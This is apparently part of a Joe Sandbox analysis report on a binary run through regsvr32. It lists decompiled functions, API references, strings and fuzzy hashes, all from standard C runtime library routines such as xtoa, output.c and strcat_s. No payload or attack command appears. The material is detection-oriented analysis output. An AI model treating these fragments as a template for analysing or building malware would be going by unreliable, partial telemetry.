0x7fef9d357d6
0x7fef9d357e1
0x7fef9d357f2
0x7fef9d357fa
0x7fef9d35804
0x7fef9d35807
0x7fef9d35809
0x7fef9d3580e
0x7fef9d35813
0x7fef9d3581f
0x7fef9d35821
0x7fef9d35835
0x7fef9d3583a
0x7fef9d3583c
0x7fef9d3584b
0x7fef9d35862
0x7fef9d35875
0x7fef9d3587f
0x7fef9d35883
0x7fef9d358a0
0x7fef9d358b5
0x7fef9d358ba
0x7fef9d358bc
0x7fef9d358c1
0x7fef9d358db
0x7fef9d358ee
0x7fef9d358f0
0x7fef9d358fc
0x7fef9d358fe
0x7fef9d35912
0x7fef9d35917
0x7fef9d35919
0x7fef9d3592e
0x7fef9d35930
0x7fef9d3593f
0x7fef9d35941
0x7fef9d35949
0x7fef9d3594b
0x7fef9d35953
0x7fef9d35955
0x7fef9d3595c
0x7fef9d3596a

APIs

_ValidateRead.LIBCMTD ref: 000007FEF9D35708
_ValidateRead.LIBCMTD ref: 000007FEF9D3571B
__AdjustPointer.LIBCMTD ref: 000007FEF9D3574C
_ValidateRead.LIBCMTD ref: 000007FEF9D35788
_ValidateRead.LIBCMTD ref: 000007FEF9D3579B
__AdjustPointer.LIBCMTD ref: 000007FEF9D357FA
_inconsistency.LIBCMTD ref: 000007FEF9D35809
_ValidateRead.LIBCMTD ref: 000007FEF9D3585B
_ValidateRead.LIBCMTD ref: 000007FEF9D3586E
__AdjustPointer.LIBCMTD ref: 000007FEF9D358A0
_inconsistency.LIBCMTD ref: 000007FEF9D358BC
_ValidateRead.LIBCMTD ref: 000007FEF9D358D4
_ValidateRead.LIBCMTD ref: 000007FEF9D358E7
_ValidateExecute.LIBCMTD ref: 000007FEF9D35927
_inconsistency.LIBCMTD ref: 000007FEF9D3575B

Part of subcall function 000007FEF9D2CF80: DecodePointer.KERNEL32 ref: 000007FEF9D2CF8B
Part of subcall function 000007FEF9D2CF80: terminate.LIBCMTD ref: 000007FEF9D2CFA4

_inconsistency.LIBCMTD ref: 000007FEF9D35955

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Validate$Read$Pointer_inconsistency$Adjust$DecodeExecuteterminate
String ID:
API String ID: 801082872-0
Opcode ID: ac6deabe0a05852b742f22a1b4600818fc4e29af537fcfed8c9e1d4fbe1357d9
Instruction ID: 9d611a2ef42a4ce54476322da2bce67ea854ec722e2e267300ecfa65af3b148c
Opcode Fuzzy Hash: ac6deabe0a05852b742f22a1b4600818fc4e29af537fcfed8c9e1d4fbe1357d9
Instruction Fuzzy Hash: 4DA13D32B0CA4682EAA08B16E89077E67E0F7C4B95F208121DACD877B5DF3ED451CB10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D38D00 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 287COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D38DAA
_invalid_parameter.LIBCMTD ref: 000007FEF9D38E49
_invalid_parameter.LIBCMTD ref: 000007FEF9D38F8C
_invalid_parameter.LIBCMTD ref: 000007FEF9D3903D
_invalid_parameter.LIBCMTD ref: 000007FEF9D39205

Strings

$, xrefs: 000007FEF9D38FA5
sizeInTChars > (size_t)(is_neg ? 2 : 1), xrefs: 000007FEF9D38F28, 000007FEF9D38F85
sizeInTChars > 0, xrefs: 000007FEF9D38DE5, 000007FEF9D38E42
2 <= radix && radix <= 36, xrefs: 000007FEF9D38FD9, 000007FEF9D39036
xtow_s, xrefs: 000007FEF9D38D9C, 000007FEF9D38E3B, 000007FEF9D38F7E, 000007FEF9D3902F, 000007FEF9D391F7
length < sizeInTChars, xrefs: 000007FEF9D391A1, 000007FEF9D391FE
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\xtoa.c, xrefs: 000007FEF9D38D5B, 000007FEF9D38D95, 000007FEF9D38DFA, 000007FEF9D38E34, 000007FEF9D38F3D, 000007FEF9D38F77, 000007FEF9D38FEE, 000007FEF9D39028, 000007FEF9D391B6, 000007FEF9D391F0
buf != NULL, xrefs: 000007FEF9D38D46, 000007FEF9D38DA3

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: $$2 <= radix && radix <= 36$buf != NULL$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\xtoa.c$length < sizeInTChars$sizeInTChars > (size_t)(is_neg ? 2 : 1)$sizeInTChars > 0$xtow_s
API String ID: 2123368286-1993839260
Opcode ID: f8a5afe18f34840ee0df28905467ae8a93c47803c1f8068a44ba45b34dbb5592
Instruction ID: 19a34de06f4f25a15c822aae2b95ff87e4dec291f3645630fab9b4d6ba707880
Opcode Fuzzy Hash: f8a5afe18f34840ee0df28905467ae8a93c47803c1f8068a44ba45b34dbb5592
Instruction Fuzzy Hash: 4AE11836A1CB86CAE7A09B18E84476EB3E1F784345F604525E6CD83BB8DB7ED444CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D37030 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 282COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D370DA
_invalid_parameter.LIBCMTD ref: 000007FEF9D37179
_invalid_parameter.LIBCMTD ref: 000007FEF9D372B6
_invalid_parameter.LIBCMTD ref: 000007FEF9D37367
_invalid_parameter.LIBCMTD ref: 000007FEF9D37523

Strings

$, xrefs: 000007FEF9D372CF
xtoa_s, xrefs: 000007FEF9D370CC, 000007FEF9D3716B, 000007FEF9D372A8, 000007FEF9D37359, 000007FEF9D37515
sizeInTChars > (size_t)(is_neg ? 2 : 1), xrefs: 000007FEF9D37252, 000007FEF9D372AF
sizeInTChars > 0, xrefs: 000007FEF9D37115, 000007FEF9D37172
2 <= radix && radix <= 36, xrefs: 000007FEF9D37303, 000007FEF9D37360
length < sizeInTChars, xrefs: 000007FEF9D374BF, 000007FEF9D3751C
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\xtoa.c, xrefs: 000007FEF9D3708B, 000007FEF9D370C5, 000007FEF9D3712A, 000007FEF9D37164, 000007FEF9D37267, 000007FEF9D372A1, 000007FEF9D37318, 000007FEF9D37352, 000007FEF9D374D4, 000007FEF9D3750E
buf != NULL, xrefs: 000007FEF9D37076, 000007FEF9D370D3

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: $$2 <= radix && radix <= 36$buf != NULL$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\xtoa.c$length < sizeInTChars$sizeInTChars > (size_t)(is_neg ? 2 : 1)$sizeInTChars > 0$xtoa_s
API String ID: 2123368286-1853640030
Opcode ID: fd24ae2173ac44ea26de12f4013dd461b82e36f4d48be66e2593e9709099cfaf
Instruction ID: 612b8f3a1e511721bf558c20b5ecc37bcc5fe5373454d887446b2b671354ce2d
Opcode Fuzzy Hash: fd24ae2173ac44ea26de12f4013dd461b82e36f4d48be66e2593e9709099cfaf
Instruction Fuzzy Hash: 2EE13A32A1DB86CAE7A09B59E8447AEB7E1F385344F604125E6CD43BB8DB7ED444CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3E6C6 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E000007FE7FEF9D3E6C6(signed int __rax, void* __rdx, long long _a32, void* _a64, void* _a72, intOrPtr _a76, signed int _a80, char _a84, short _a86, intOrPtr _a88, long long _a92, long long _a96, signed char _a104, intOrPtr _a108, signed int _a116, char _a120, char _a687, char _a1200, signed short _a1212, intOrPtr _a1216, intOrPtr _a1220, signed char _a1296, signed int _a1304, signed int _a1312, intOrPtr _a1320, long long _a1328, signed char _a1336, intOrPtr _a1340, intOrPtr _a1344, intOrPtr _a1376, intOrPtr _a1380, signed int _a1480, long long _a1488, long long _a1496, long long _a1504, signed int _a1512, intOrPtr _a1536, char _a1560) {
				signed int _t224;
				signed char _t229;
				void* _t260;
				intOrPtr _t268;
				signed int _t342;
				signed int _t343;
				signed long long _t346;
				intOrPtr* _t365;
				intOrPtr* _t370;
				signed long long _t400;

				_t342 = __rax;
				_a80 = _a80 | 0x00000040;
				_a72 = 0xa;
				_a72 = 0xa;
				_a116 = 0x10;
				asm("bts eax, 0xf");
				_a1220 = 7;
				_a1220 = 0x27;
				_a72 = 0x10;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3e74d;
				_a84 = 0x30;
				_a86 = _a1220 + 0x51;
				_a92 = 2;
				_a72 = 8;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3e770;
				asm("bts eax, 0x9");
				if ((_a80 & 0x00008000) == 0) goto 0xf9d3e797;
				E000007FE7FEF9D31EA0( &_a1560);
				_a1304 = _t342;
				goto 0xf9d3e844;
				if ((_a80 & 0x00001000) == 0) goto 0xf9d3e7be;
				E000007FE7FEF9D31EA0( &_a1560);
				_a1304 = _t342;
				goto 0xf9d3e844;
				if ((_a80 & 0x00000020) == 0) goto 0xf9d3e809;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e7ef;
				_t343 = E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t343;
				goto 0xf9d3e807;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t343;
				goto 0xf9d3e844;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e82d;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t343;
				goto 0xf9d3e844;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t343;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e87b;
				if (_a1304 >= 0) goto 0xf9d3e87b;
				_a1312 =  ~_a1304;
				asm("bts eax, 0x8");
				goto 0xf9d3e88b;
				_t346 = _a1304;
				_a1312 = _t346;
				if ((_a80 & 0x00008000) != 0) goto 0xf9d3e8c0;
				if ((_a80 & 0x00001000) != 0) goto 0xf9d3e8c0;
				_a1312 = _a1312 & _t346;
				if (_a116 >= 0) goto 0xf9d3e8d1;
				_a116 = 1;
				goto 0xf9d3e8ee;
				_a80 = _a80 & 0xfffffff7;
				if (_a116 - 0x200 <= 0) goto 0xf9d3e8ee;
				_a116 = 0x200;
				if (_a1312 != 0) goto 0xf9d3e901;
				_a92 = 0;
				_a64 =  &_a687;
				_t224 = _a116;
				_a116 = _a116 - 1;
				if (_t224 > 0) goto 0xf9d3e92f;
				if (_a1312 == 0) goto 0xf9d3e9cc;
				_a1480 = _a72;
				_a1296 = _t224 / _a1480 + 0x30;
				_a1488 = _a72;
				if (_a1296 - 0x39 <= 0) goto 0xf9d3e9ab;
				_t229 = _a1296 + _a1220;
				_a1296 = _t229;
				 *_a64 = _a1296 & 0x000000ff;
				_a64 = _a64 - 1;
				goto 0xf9d3e90e;
				_a104 = _t229;
				_a64 = _a64 + 1;
				if ((_a80 & 0x00000200) == 0) goto 0xf9d3ea2a;
				if (_a104 == 0) goto 0xf9d3ea0b;
				if ( *_a64 == 0x30) goto 0xf9d3ea2a;
				_a64 = _a64 - 1;
				 *_a64 = 0x30;
				_a104 = _a104 + 1;
				if (_a108 != 0) goto 0xf9d3ec7c;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3ea9d;
				if ((_a80 & 0x00000100) == 0) goto 0xf9d3ea61;
				_a84 = 0x2d;
				_a92 = 1;
				goto 0xf9d3ea9d;
				if ((_a80 & 0x00000001) == 0) goto 0xf9d3ea80;
				_a84 = 0x2b;
				_a92 = 1;
				goto 0xf9d3ea9d;
				if ((_a80 & 0x00000002) == 0) goto 0xf9d3ea9d;
				_a84 = 0x20;
				_a92 = 1;
				_a1320 = _a88 - _a104 - _a92;
				if ((_a80 & 0x0000000c) != 0) goto 0xf9d3eadf;
				E000007FE7FEF9D3EEC0(0x20, _a1320, _a1536,  &_a1200);
				E000007FE7FEF9D3EF10(_a92, _a64,  &_a84, _a1536,  &_a1200);
				if ((_a80 & 0x00000008) == 0) goto 0xf9d3eb33;
				if ((_a80 & 0x00000004) != 0) goto 0xf9d3eb33;
				E000007FE7FEF9D3EEC0(0x30, _a1320, _a1536,  &_a1200);
				if (_a76 != 0) goto 0xf9d3ec29;
				if (_a104 <= 0) goto 0xf9d3ec29;
				_t365 = _a64;
				_a1328 = _t365;
				_a1336 = _a104;
				_a1336 = _a1336 - 1;
				if (_a1336 <= 0) goto 0xf9d3ec27;
				_t260 = E000007FE7FEF9D26840(_a1336,  &_a120);
				_a1496 = _t365;
				E000007FE7FEF9D26840(_t260,  &_a120);
				_a1340 = E000007FE7FEF9D3F000( &_a1212, _a1328,  *((intOrPtr*)( *_t365 + 0x10c)), _a1496);
				if (_a1340 > 0) goto 0xf9d3ebe7;
				_a1200 = 0xffffffff;
				goto 0xf9d3ec27;
				E000007FE7FEF9D3EE40(_a1212 & 0x0000ffff, _a1536,  &_a1200);
				_a1328 = _a1328 + _a1340;
				goto 0xf9d3eb61;
				goto 0xf9d3ec47;
				E000007FE7FEF9D3EF10(_a104, _a1328 + _a1340, _a64, _a1536,  &_a1200);
				if (_a1200 < 0) goto 0xf9d3ec7c;
				if ((_a80 & 0x00000004) == 0) goto 0xf9d3ec7c;
				E000007FE7FEF9D3EEC0(0x20, _a1320, _a1536,  &_a1200);
				if (_a96 == 0) goto 0xf9d3ec9c;
				0xf9d25330();
				_a96 = 0;
				goto 0xf9d3da75;
				if (_a1216 == 0) goto 0xf9d3ecc2;
				if (_a1216 == 7) goto 0xf9d3ecc2;
				_a1504 = 0;
				goto 0xf9d3eccd;
				_a1504 = 1;
				_t268 = _a1504;
				_a1344 = _t268;
				if (_a1344 != 0) goto 0xf9d3ed13;
				_t370 = L"((state == ST_NORMAL) || (state == ST_TYPE))";
				_a32 = _t370;
				r9d = 0;
				r8d = 0x8f5;
				0xf9d2b3b0();
				if (_t268 != 1) goto 0xf9d3ed13;
				asm("int3");
				if (_a1344 != 0) goto 0xf9d3ed6f;
				0xf9d2ab30();
				 *_t370 = 0x16;
				_a32 = 0;
				r9d = 0x8f5;
				E000007FE7FEF9D2BD70(L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
				_a1376 = 0xffffffff;
				E000007FE7FEF9D26800( &_a120);
				goto 0xf9d3ed8e;
				_a1380 = _a1200;
				E000007FE7FEF9D26800( &_a120);
				return E000007FE7FEF9D23280(_a1380, 2, 2, _a1512 ^ _t400, L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
			}

0x7fef9d3e6c6
0x7fef9d3e6cd
0x7fef9d3e6d1
0x7fef9d3e6de
0x7fef9d3e6eb
0x7fef9d3e6f7
0x7fef9d3e6ff
0x7fef9d3e70c
0x7fef9d3e717
0x7fef9d3e72a
0x7fef9d3e731
0x7fef9d3e740
0x7fef9d3e745
0x7fef9d3e74f
0x7fef9d3e762
0x7fef9d3e768
0x7fef9d3e77b
0x7fef9d3e785
0x7fef9d3e78a
0x7fef9d3e792
0x7fef9d3e7a2
0x7fef9d3e7ac
0x7fef9d3e7b1
0x7fef9d3e7b9
0x7fef9d3e7c7
0x7fef9d3e7d2
0x7fef9d3e7e1
0x7fef9d3e7e5
0x7fef9d3e7ed
0x7fef9d3e7f7
0x7fef9d3e7ff
0x7fef9d3e807
0x7fef9d3e812
0x7fef9d3e81c
0x7fef9d3e823
0x7fef9d3e82b
0x7fef9d3e835
0x7fef9d3e83c
0x7fef9d3e84d
0x7fef9d3e858
0x7fef9d3e865
0x7fef9d3e871
0x7fef9d3e879
0x7fef9d3e87b
0x7fef9d3e883
0x7fef9d3e896
0x7fef9d3e8a3
0x7fef9d3e8b8
0x7fef9d3e8c5
0x7fef9d3e8c7
0x7fef9d3e8cf
0x7fef9d3e8d8
0x7fef9d3e8e4
0x7fef9d3e8e6
0x7fef9d3e8f7
0x7fef9d3e8f9
0x7fef9d3e909
0x7fef9d3e90e
0x7fef9d3e918
0x7fef9d3e91e
0x7fef9d3e929
0x7fef9d3e934
0x7fef9d3e957
0x7fef9d3e963
0x7fef9d3e990
0x7fef9d3e9a2
0x7fef9d3e9a4
0x7fef9d3e9b8
0x7fef9d3e9c2
0x7fef9d3e9c7
0x7fef9d3e9d9
0x7fef9d3e9e5
0x7fef9d3e9f5
0x7fef9d3e9fc
0x7fef9d3ea09
0x7fef9d3ea13
0x7fef9d3ea1d
0x7fef9d3ea26
0x7fef9d3ea2f
0x7fef9d3ea3e
0x7fef9d3ea4b
0x7fef9d3ea52
0x7fef9d3ea57
0x7fef9d3ea5f
0x7fef9d3ea6a
0x7fef9d3ea71
0x7fef9d3ea76
0x7fef9d3ea7e
0x7fef9d3ea89
0x7fef9d3ea90
0x7fef9d3ea95
0x7fef9d3eaad
0x7fef9d3eabd
0x7fef9d3eada
0x7fef9d3eaf8
0x7fef9d3eb06
0x7fef9d3eb11
0x7fef9d3eb2e
0x7fef9d3eb38
0x7fef9d3eb43
0x7fef9d3eb49
0x7fef9d3eb4e
0x7fef9d3eb5a
0x7fef9d3eb71
0x7fef9d3eb7a
0x7fef9d3eb85
0x7fef9d3eb8a
0x7fef9d3eb97
0x7fef9d3ebc9
0x7fef9d3ebd8
0x7fef9d3ebda
0x7fef9d3ebe5
0x7fef9d3ebff
0x7fef9d3ec1a
0x7fef9d3ec22
0x7fef9d3ec27
0x7fef9d3ec42
0x7fef9d3ec4f
0x7fef9d3ec5a
0x7fef9d3ec77
0x7fef9d3ec82
0x7fef9d3ec8e
0x7fef9d3ec93
0x7fef9d3ec9c
0x7fef9d3eca9
0x7fef9d3ecb3
0x7fef9d3ecb5
0x7fef9d3ecc0
0x7fef9d3ecc2
0x7fef9d3eccd
0x7fef9d3ecd4
0x7fef9d3ece3
0x7fef9d3ece5
0x7fef9d3ecec
0x7fef9d3ecf1
0x7fef9d3ecf4
0x7fef9d3ed06
0x7fef9d3ed0e
0x7fef9d3ed10
0x7fef9d3ed1b
0x7fef9d3ed1d
0x7fef9d3ed22
0x7fef9d3ed28
0x7fef9d3ed31
0x7fef9d3ed4c
0x7fef9d3ed51
0x7fef9d3ed61
0x7fef9d3ed6d
0x7fef9d3ed76
0x7fef9d3ed82
0x7fef9d3eda5

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3E785
get_int64_arg.LIBCMTD ref: 000007FEF9D3E7AC

Strings

9, xrefs: 000007FEF9D3E988
_woutput_s_l, xrefs: 000007FEF9D3DBD6
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: ("Incorrect format specifier", 0)$9$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 1967237116-1983305044
Opcode ID: 2a7d659c8e5e6b28fc7c58fcf8e8579ea91b99a8d6af850dbdc893ea63a98b90
Instruction ID: 6542cf9ee6a066de1e86aade3174812d6b56db97d2698e01b13d8cfaf3a7b086
Opcode Fuzzy Hash: 2a7d659c8e5e6b28fc7c58fcf8e8579ea91b99a8d6af850dbdc893ea63a98b90
Instruction Fuzzy Hash: 20F1E872A0DAC58AE7B18B55E8417AFB7E0F784346F200125E6C987AE9EB7DD440CF50

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D32D80 Relevance: 21.3, APIs: 4, Strings: 8, Instructions: 310COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32E31
_invalid_parameter.LIBCMTD ref: 000007FEF9D32F63
_invalid_parameter.LIBCMTD ref: 000007FEF9D330E4
_invalid_parameter.LIBCMTD ref: 000007FEF9D3327B

Strings

wcscat_s, xrefs: 000007FEF9D32E23, 000007FEF9D32F55, 000007FEF9D330D6, 000007FEF9D3326D
(L"String is not null terminated" && 0), xrefs: 000007FEF9D33080, 000007FEF9D330DD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscat_s.inl, xrefs: 000007FEF9D32DE2, 000007FEF9D32E1C, 000007FEF9D32F14, 000007FEF9D32F4E, 000007FEF9D33095, 000007FEF9D330CF, 000007FEF9D3322C, 000007FEF9D33266
(((_Src))) != NULL, xrefs: 000007FEF9D32EFF, 000007FEF9D32F5C
Buffer is too small, xrefs: 000007FEF9D331DB
String is not null terminated, xrefs: 000007FEF9D3304D
(L"Buffer is too small" && 0), xrefs: 000007FEF9D33217, 000007FEF9D33274
((_Dst)) != NULL && ((_SizeInWords)) > 0, xrefs: 000007FEF9D32DCD, 000007FEF9D32E2A

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInWords)) > 0$(L"Buffer is too small" && 0)$(L"String is not null terminated" && 0)$Buffer is too small$String is not null terminated$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscat_s.inl$wcscat_s
API String ID: 2123368286-3477667311
Opcode ID: b8fc4c6395d55294f14e808969fd0dde924ec27b835ffc5b45b9a86212572efe
Instruction ID: b03569ffd57b7167c314fdf02ed50a447cb54ce8ebbf145893a20e686b3b9740
Opcode Fuzzy Hash: b8fc4c6395d55294f14e808969fd0dde924ec27b835ffc5b45b9a86212572efe
Instruction Fuzzy Hash: BFF13832A0DB8685EBE08B19E94476EA3E0F385795F604535D6DE83BA8DF7ED044CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D369C0 Relevance: 21.3, APIs: 4, Strings: 8, Instructions: 303COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D36A71
_invalid_parameter.LIBCMTD ref: 000007FEF9D36B9D
_invalid_parameter.LIBCMTD ref: 000007FEF9D36D17
_invalid_parameter.LIBCMTD ref: 000007FEF9D36EA5

Strings

(L"String is not null terminated" && 0), xrefs: 000007FEF9D36CB3, 000007FEF9D36D10
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscat_s.inl, xrefs: 000007FEF9D36A22, 000007FEF9D36A5C, 000007FEF9D36B4E, 000007FEF9D36B88, 000007FEF9D36CC8, 000007FEF9D36D02, 000007FEF9D36E56, 000007FEF9D36E90
strcat_s, xrefs: 000007FEF9D36A63, 000007FEF9D36B8F, 000007FEF9D36D09, 000007FEF9D36E97
(((_Src))) != NULL, xrefs: 000007FEF9D36B39, 000007FEF9D36B96
Buffer is too small, xrefs: 000007FEF9D36E05
String is not null terminated, xrefs: 000007FEF9D36C80
(L"Buffer is too small" && 0), xrefs: 000007FEF9D36E41, 000007FEF9D36E9E
((_Dst)) != NULL && ((_SizeInBytes)) > 0, xrefs: 000007FEF9D36A0D, 000007FEF9D36A6A

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInBytes)) > 0$(L"Buffer is too small" && 0)$(L"String is not null terminated" && 0)$Buffer is too small$String is not null terminated$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscat_s.inl$strcat_s
API String ID: 2123368286-1420200500
Opcode ID: 0735035b45f8f7c7b818c7081b0ef0632545b94255aff591ce5d43235ef3c046
Instruction ID: c5de73825737ff17a6e05e0685af1bba33d69fc1e3bcf908defeea2cf04d7043
Opcode Fuzzy Hash: 0735035b45f8f7c7b818c7081b0ef0632545b94255aff591ce5d43235ef3c046
Instruction Fuzzy Hash: A9F15A32A0DB8A89FBA08B14E84576EA7E0F385395FA04535D6DD43BA8DF3ED044CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C30D Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 231COMMON

Download Yara Rule

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3C315
_get_printf_count_output.LIBCMTD ref: 000007FEF9D3C322
_invalid_parameter.LIBCMTD ref: 000007FEF9D3C3CC
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3C3E1
wctomb_s.LIBCMTD ref: 000007FEF9D3CBB1

Strings

_output_s_l, xrefs: 000007FEF9D3BAFB, 000007FEF9D3C3BE
-, xrefs: 000007FEF9D3CA54
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
("'n' format specifier disabled", 0), xrefs: 000007FEF9D3C365, 000007FEF9D3C3C5
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4, 000007FEF9D3C37A, 000007FEF9D3C3B7

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__get_printf_count_output_invalid_parameterget_int64_argwctomb_s
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2560055391-3497434347
Opcode ID: f7e31fddf96ab2d989b429fa4fac32de28ca989592260db18f40bb78f450a6ea
Instruction ID: 46d09667909aa5f7b215aa93bab53907018271778d835aa8b5e6ab3fef1b3364
Opcode Fuzzy Hash: f7e31fddf96ab2d989b429fa4fac32de28ca989592260db18f40bb78f450a6ea
